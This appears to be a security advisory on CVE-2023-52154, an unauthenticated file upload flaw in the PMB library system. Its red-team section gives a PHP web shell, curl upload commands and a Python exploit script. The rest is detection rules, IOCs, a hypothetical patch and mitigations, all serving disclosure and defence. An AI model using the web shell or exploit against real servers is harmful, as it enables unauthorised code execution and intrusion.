CVE-2023-52154

Executive Summary

CVE-2023-52154 is a critical file upload vulnerability in the PMB (PhpMyBibli) library management system, specifically in the camera_upload.php endpoint. This vulnerability allows an unauthenticated attacker to upload arbitrary files, including PHP/PHTML web shells, leading to remote code execution (RCE) on the target server. The vulnerability affects PMB versions 7.4.7 and earlier. No official patch has been released, and the vendor (PMB) has not provided a security advisory. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (PMB) vulnerability.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – An attacker can read sensitive files.
• Integrity (I): High (H) – An attacker can modify files.
• Availability (A): High (H) – An attacker can disrupt service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Unauthenticated remote code execution with no user interaction.

Deep Dive & Mechanics

The vulnerability resides in the camera_upload.php script, which is part of the PMB library management system. This script is designed to handle file uploads from a camera or similar device. The core issue is a lack of proper file type validation and authentication checks.

Root Cause: The camera_upload.php script does not verify the MIME type, file extension, or content of uploaded files. It also does not require any authentication or session validation. This allows an attacker to send a crafted HTTP POST request to the endpoint with a malicious file (e.g., a PHP web shell with a .phtml extension).

Attack Flow:

1. The attacker identifies a target running PMB 7.4.7 or earlier.
2. The attacker crafts a malicious PHP file (e.g., shell.phtml) containing code like <?php system($_GET['cmd']); ?>.
3. The attacker sends a POST request to http://target/pmb/camera_upload.php with the malicious file in the request body (e.g., using curl or a Python script).
4. The server accepts the file and stores it in a web-accessible directory (e.g., uploads/).
5. The attacker accesses the uploaded file via a web browser, e.g., http://target/pmb/uploads/shell.phtml?cmd=id.
6. The server executes the PHP code, allowing the attacker to run arbitrary commands.

Why PHTML? The .phtml extension is often used for PHP files that contain HTML. Many servers are configured to execute .phtml files as PHP, making it a common choice for web shell uploads.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the current state. A hypothetical patched version would include:

Vulnerable Code (camera_upload.php - simplified):

<?php
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}
?>

Patched Code (hypothetical):

<?php
session_start();
if (!isset($_SESSION['user'])) {
    die("Authentication required.");
}

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$uploaddir = 'uploads/';
$filename = basename($_FILES['userfile']['name']);
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($ext, $allowed_extensions)) {
    die("Invalid file type.");
}

// Additional checks: MIME type, file content, etc.
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['userfile']['tmp_name']);
finfo_close($finfo);
if (strpos($mime, 'image/') !== 0) {
    die("Invalid MIME type.");
}

$uploadfile = $uploaddir . uniqid() . '.' . $ext;
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File uploaded successfully.\n";
} else {
    echo "Upload failed.\n";
}
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Download and install PMB 7.4.7 (or earlier) on a local server (e.g., using XAMPP or Docker).
2. Ensure the camera_upload.php file is present and accessible.

Exploitation Steps:

1. Create a malicious PHP file (e.g., shell.phtml):

   <?php system($_GET['cmd']); ?>
   

2. Upload the file using curl:

   curl -X POST -F "userfile=@shell.phtml" http://target/pmb/camera_upload.php
   

3. Access the uploaded file to execute commands:

   curl http://target/pmb/uploads/shell.phtml?cmd=id
   

Python Exploit Script:

import requests

target = "http://target/pmb/camera_upload.php"
payload = "<?php system($_GET['cmd']); ?>"
files = {'userfile': ('shell.phtml', payload, 'application/x-php')}

response = requests.post(target, files=files)
print(response.text)

# Execute command
cmd_response = requests.get(f"http://target/pmb/uploads/shell.phtml?cmd=id")
print(cmd_response.text)

Blue Team

Detection:

• Monitor for POST requests to /pmb/camera_upload.php from unauthenticated sources.
• Look for file uploads with suspicious extensions (.php, .phtml, .php5, .shtml).
• Check for unusual file sizes or content types in uploads.

Hunting:

• Search web server logs for camera_upload.php entries.
• Look for files in the uploads/ directory that are not images.
• Use YARA rules to scan for web shells.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files with .phtml, .php, .php5 extensions in the uploads/ directory.
• Files containing <?php system( or similar PHP code.
• Files with names like shell.phtml, cmd.php, backdoor.phtml.

Network-Based IOCs:

• POST requests to /pmb/camera_upload.php with Content-Type: multipart/form-data.
• Subsequent GET requests to /pmb/uploads/*.phtml?cmd= or similar.
• Unusual User-Agent strings (e.g., curl/7.x, python-requests/2.x).

Log-Based IOCs:

• Web server logs showing camera_upload.php with HTTP 200 responses.
• Error logs showing PHP execution of uploaded files.

Detection Engineering

YARA Rule

rule CVE_2023_52154_Webshell {
    meta:
        description = "Detects web shells uploaded via CVE-2023-52154"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-52154"
    strings:
        $php_system = /<\?php\s*system\(/
        $php_exec = /<\?php\s*exec\(/
        $php_shell_exec = /<\?php\s*shell_exec\(/
        $php_passthru = /<\?php\s*passthru\(/
        $php_backtick = /`.*\$/
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-52154 - PMB File Upload Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-52154 by uploading malicious files to PMB
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/pmb/camera_upload.php'
    condition: selection
falsepositives:
    - Legitimate camera uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-52154 - PMB File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/pmb/camera_upload.php"; http_uri; content:"multipart/form-data"; http_header; pcre:"/\.(php|phtml|php5|shtml)$/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Remove or rename camera_upload.php if not needed.
2. Implement authentication: Add session checks to camera_upload.php.
3. Restrict file types: Only allow image extensions (jpg, png, gif) and validate MIME types.
4. Use a Web Application Firewall (WAF): Block POST requests to /pmb/camera_upload.php with suspicious file extensions.

Long-Term Fixes:

1. Apply vendor patch: Monitor PMB's official channels for a security update.
2. Upgrade PMB: If a patched version is released, upgrade immediately.
3. Code review: Conduct a security audit of all file upload functionality.
4. Implement Content Security Policy (CSP): Restrict script execution.

Workarounds:

• Use .htaccess to deny access to the uploads directory for PHP execution:

  <Directory "/path/to/pmb/uploads">
      RemoveHandler .php .phtml .php5
      AddType text/plain .php .phtml .php5
  </Directory>
  

• Move the uploads directory outside the web root.

Valters IT